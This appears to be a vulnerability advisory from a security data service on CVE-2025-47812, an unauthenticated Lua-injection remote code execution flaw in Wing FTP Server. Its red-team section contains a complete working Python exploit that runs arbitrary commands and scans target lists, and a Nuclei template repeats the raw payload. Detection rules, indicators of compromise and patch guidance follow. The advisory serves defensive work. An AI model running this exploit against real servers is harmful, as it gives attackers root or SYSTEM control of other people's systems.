CVE-2025-47812
Executive Summary
CVE-2025-47812 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting Wing FTP Server versions prior to 7.4.4. The flaw resides in the improper handling of NULL bytes (/0) within the username parameter during the login process. An attacker can inject arbitrary Lua code into user session files by crafting a malicious username containing a NULL byte followed by Lua payload. When the authenticated user (or an anonymous session) subsequently accesses a web interface endpoint like /dir.html, the injected Lua code is executed by the server's Lua interpreter. This allows an attacker to execute arbitrary system commands with the privileges of the FTP service, which defaults to root on Linux and SYSTEM on Windows, leading to total server compromise. The exploit is particularly dangerous because it can be triggered via anonymous FTP accounts if enabled. Public proof-of-concept (PoC) code and a Nuclei template are available, making exploitation trivial for attackers.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None - No authentication is needed; anonymous login is sufficient.
- User Interaction (UI): None - The victim does not need to perform any action beyond normal server operation.
- Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High - Full read access to all server data.
- Integrity (I): High - Full write access to all server data and configurations.
- Availability (A): High - Full control over server processes, including the ability to disrupt services.
Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the ability to execute commands as root/SYSTEM makes this a top-priority vulnerability for immediate patching.
Deep Dive & Mechanics
The vulnerability stems from a discrepancy in how Wing FTP Server processes the username parameter during login. The core issue is in the c_CheckUser() function, which validates user credentials. This function uses a string processing routine that truncates the username at the first NULL byte (/0). Therefore, a username like anonymous/0]]... is treated as a valid anonymous login, and authentication succeeds.
However, the session creation logic does not use the same truncated string. Instead, it uses the full, unsanitized username provided by the attacker. This full username, which includes the NULL byte and the Lua code, is written directly into a session file on the server. The session file is a Lua script that is executed when the user accesses authenticated web interface endpoints (e.g., /dir.html).
The injection payload exploits Lua's syntax. The attacker terminates any existing Lua code with ]] and then injects their own code. A typical payload uses io.popen() to execute a system command and capture its output. The payload is structured as follows:
anonymous%00]]%0dlocal+h+%3d+io.popen("command")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--
%00is the NULL byte.]]closes any open Lua table or string.%0dis a carriage return, used to separate lines.local h = io.popen("command")executes the command.local r = h:read("*a")reads the command output.h:close()closes the process handle.print(r)prints the output, which is then returned in the HTTP response.--comments out any remaining code in the session file.
When the attacker then requests /dir.html with the obtained session cookie, the server executes the session file, running the injected Lua code and returning the command output in the HTTP response.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-7.4.4):
The vulnerable code path is in the session file creation logic. The following pseudocode illustrates the flaw:
// Vulnerable: Uses full unsanitized username
char *username = get_parameter("username");
char session_file_path[256];
snprintf(session_file_path, sizeof(session_file_path), "/tmp/sessions/%s.lua", username);
// Write session data to file, including the full username
write_session_file(session_file_path, username);
The c_CheckUser() function truncates at NULL, but the session file creation does not.
Patched Code (7.4.4+):
The patched code sanitizes the username by removing or rejecting NULL bytes before it is used in any file operations or session creation.
// Patched: Sanitize username
char *username = get_parameter("username");
// Remove NULL bytes
char *sanitized_username = sanitize_string(username, '/0');
char session_file_path[256];
snprintf(session_file_path, sizeof(session_file_path), "/tmp/sessions/%s.lua", sanitized_username);
// Write session data to file
write_session_file(session_file_path, sanitized_username);
The sanitize_string() function either strips NULL bytes or returns an error if they are present, preventing the injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Wing FTP Server version <= 7.4.3 with anonymous login enabled.
- Network access to the server's web interface (typically port 80 or 443).
Exploit Code (Python):
The following Python script, derived from the public exploit, automates the attack.
import requests
import re
import argparse
# ANSI color codes
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"
def print_green(text):
print(f"{GREEN}{text}{RESET}")
def print_red(text):
print(f"{RED}{text}{RESET}")
def run_exploit(target_url, command, username="anonymous", verbose=False):
login_url = f"{target_url}/loginok.html"
login_headers = {
"Host": target_url.split('//')[1].split('/')[0],
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Connection": "keep-alive",
"Referer": f"{target_url}/login.html?lang=english",
"Cookie": "client_lang=english",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
from urllib.parse import quote
encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)
if verbose:
print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")
try:
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
login_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending POST request to {login_url}: {e}")
return False
set_cookie = login_response.headers.get("Set-Cookie", "")
match = re.search(r'UID=([^;]+)', set_cookie)
if not match:
print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
return False
uid = match.group(1)
if verbose:
print_green(f"[+] UID extracted: {uid}")
dir_url = f"{target_url}/dir.html"
dir_headers = {
"Host": login_headers["Host"],
"User-Agent": login_headers["User-Agent"],
"Accept": login_headers["Accept"],
"Accept-Language": login_headers["Accept-Language"],
"Accept-Encoding": login_headers["Accept-Encoding"],
"Connection": "keep-alive",
"Cookie": f"UID={uid}",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
if verbose:
print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")
try:
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
dir_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending GET request to {dir_url}: {e}")
return False
body = dir_response.text
clean_output = re.split(r'<\?xml', body)[0].strip()
if verbose:
print_green("\n--- Command Output ---")
print(clean_output)
print_green("----------------------")
else:
if clean_output:
print_green(f"[+] {target_url} is vulnerable!")
else:
print_red(f"[-] {target_url} is NOT vulnerable.")
return bool(clean_output)
def main():
parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
parser.add_argument("-u", "--url", type=str,
help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
parser.add_argument("-f", "--file", type=str,
help="File containing list of target URLs (one per line).")
parser.add_argument("-c", "--command", type=str,
help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
parser.add_argument("-v", "--verbose", action="store_true",
help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
parser.add_argument("-o", "--output", type=str,
help="File to save vulnerable URLs.")
parser.add_argument("-U", "--username", type=str, default="anonymous",
help="Username to use in the exploit payload. Default: anonymous")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("Either -u/--url or -f/--file must be specified.")
command_to_use = args.command if args.command else "whoami"
verbose_mode = True if args.command else args.verbose
vulnerable_sites = []
targets = []
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print_red(f"[-] Could not read target file '{args.file}': {e}")
return
else:
targets = [args.url]
for target in targets:
print(f"\n[*] Testing target: {target}")
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
if is_vulnerable:
vulnerable_sites.append(target)
if args.output and vulnerable_sites:
try:
with open(args.output, 'w') as out_file:
for site in vulnerable_sites:
out_file.write(site + "\n")
print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
except Exception as e:
print_red(f"[-] Could not write to output file '{args.output}': {e}")
if __name__ == "__main__":
main()
Usage:
- Save the script as
exploit.py. - Run:
python3 exploit.py -u http://target-ip:port -c "id" -v - The output of the
idcommand will be displayed.
Blue Team (Defense & Detection)
Detection Strategy:
- Monitor HTTP POST requests to
/loginok.html: Look for requests with ausernameparameter containing NULL bytes (%00), Lua code patterns (io.popen,os.execute), or unusual characters like]]and--. - Monitor HTTP GET requests to
/dir.html: After a suspicious login, a subsequent request to/dir.htmlwith a new UID cookie is a strong indicator. - Analyze Session Files: On the server, inspect session files in the session directory (e.g.,
/tmp/sessions/orC:\ProgramData\Wing FTP Server\sessions\). Look for files containing Lua code that is not typical for the application. - Network Traffic Analysis: Detect anomalous outbound connections from the FTP server, especially if the injected command attempts to establish a reverse shell.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST request to
/loginok.htmlwith ausernameparameter containing%00(NULL byte). - HTTP GET request to
/dir.htmlimmediately following a suspicious login. - The
usernameparameter in the POST request contains Lua code patterns likeio.popen,os.execute,]],--.
- HTTP POST request to
- File System IOCs:
- Session files in the Wing FTP Server session directory containing injected Lua code.
- Unexpected files or processes created by the FTP service (e.g., a reverse shell).
- Process IOCs:
- The Wing FTP Server process spawning unexpected child processes (e.g.,
cmd.exe,/bin/sh,powershell).
- The Wing FTP Server process spawning unexpected child processes (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_47812_WingFTP_RCE {
meta:
description = "Detects Lua code injection in Wing FTP Server session files"
author = "Valters IT"
date = "2025-07-18"
reference = "CVE-2025-47812"
severity = "critical"
strings:
$lua_inject = /%00\]\].*io\.popen\(/
$lua_inject2 = /%00\]\].*os\.execute\(/
$null_byte = /%00/
condition:
$null_byte and ($lua_inject or $lua_inject2)
}
Sigma Rule
title: Wing FTP Server RCE via NULL Byte Injection (CVE-2025-47812)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /loginok.html with NULL byte and Lua code in the username parameter.
author: Valters IT
date: 2025-07-18
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47812
- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/loginok.html'
cs-username|contains: '%00'
cs-username|contains|all:
- ']]'
- 'io.popen'
- '--'
condition: selection
falsepositives:
- None expected
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-47812 Wing FTP Server RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/loginok.html"; http_uri; content:"%00"; http_client_body; content:"]]"; http_client_body; content:"io.popen"; http_client_body; content:"--"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2025-47812
info:
name: Wing FTP Server <= 7.4.3 - Remote Code Execution
author: rcesecurity,4m3rr0r
severity: critical
description: |
Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
impact: |
Unauthenticated attackers can inject and execute Lua code through NULL byte handling in the username parameter when anonymous login is enabled, achieving remote code execution with elevated privileges.
remediation: |
Upgrade Wing FTP Server to version 7.4.4 or later that properly handles NULL bytes in authentication parameters.
reference:
- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
- https://github.com/4m3rr0r/CVE-2025-47812-poc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47812
epss-score: 0.92481
epss-percentile: 0.99738
metadata:
verified: true
product: wftpserver
vendor: wing_ftp_server
shodan-query:
- http.html_hash:2121146066
- http.favicon.hash:963565804
- title:"Wing FTP Server"
- "Server: Wing FTP Server"
fofa-query:
- icon_hash="963565804"
- title="Wing FTP Server"
- "Server: Wing FTP Server"
zoomeye-query:
- app="Wing FTP Server"
tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln
variables:
cmd: "echo CVE-2025-47812"
http:
- raw:
- |
POST /loginok.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
- raw:
- |
GET /dir.html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "cve-2025-47812")'
condition: and
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Wing FTP Server to version 7.4.4 or later immediately. This is the only complete fix.
- Disable Anonymous Login: If upgrading is not immediately possible, disable anonymous FTP login. This significantly reduces the attack surface, as the exploit requires an anonymous account.
- Network Segmentation: Isolate the Wing FTP server from critical internal networks to limit the blast radius of a compromise.
- Web Application Firewall (WAF): Deploy or update WAF rules to block requests containing NULL bytes (
%00) and Lua code patterns in theusernameparameter. - Monitor and Audit: Enable detailed logging for the web interface and FTP service. Review logs for suspicious login attempts and session file modifications.
Long-Term Mitigations:
- Input Validation: Implement strict input validation for all user-supplied data, especially NULL bytes and special characters.
- Least Privilege: Run the FTP service with the minimum necessary privileges. Avoid running as root or SYSTEM.
- Regular Security Audits: Conduct regular vulnerability scans and penetration tests on critical infrastructure.
- Incident Response Plan: Ensure an incident response plan is in place to handle potential exploitation of this vulnerability.
Valters IT
{/* [Security Hash: 4719E81C739EC2A475DE7CA6] */}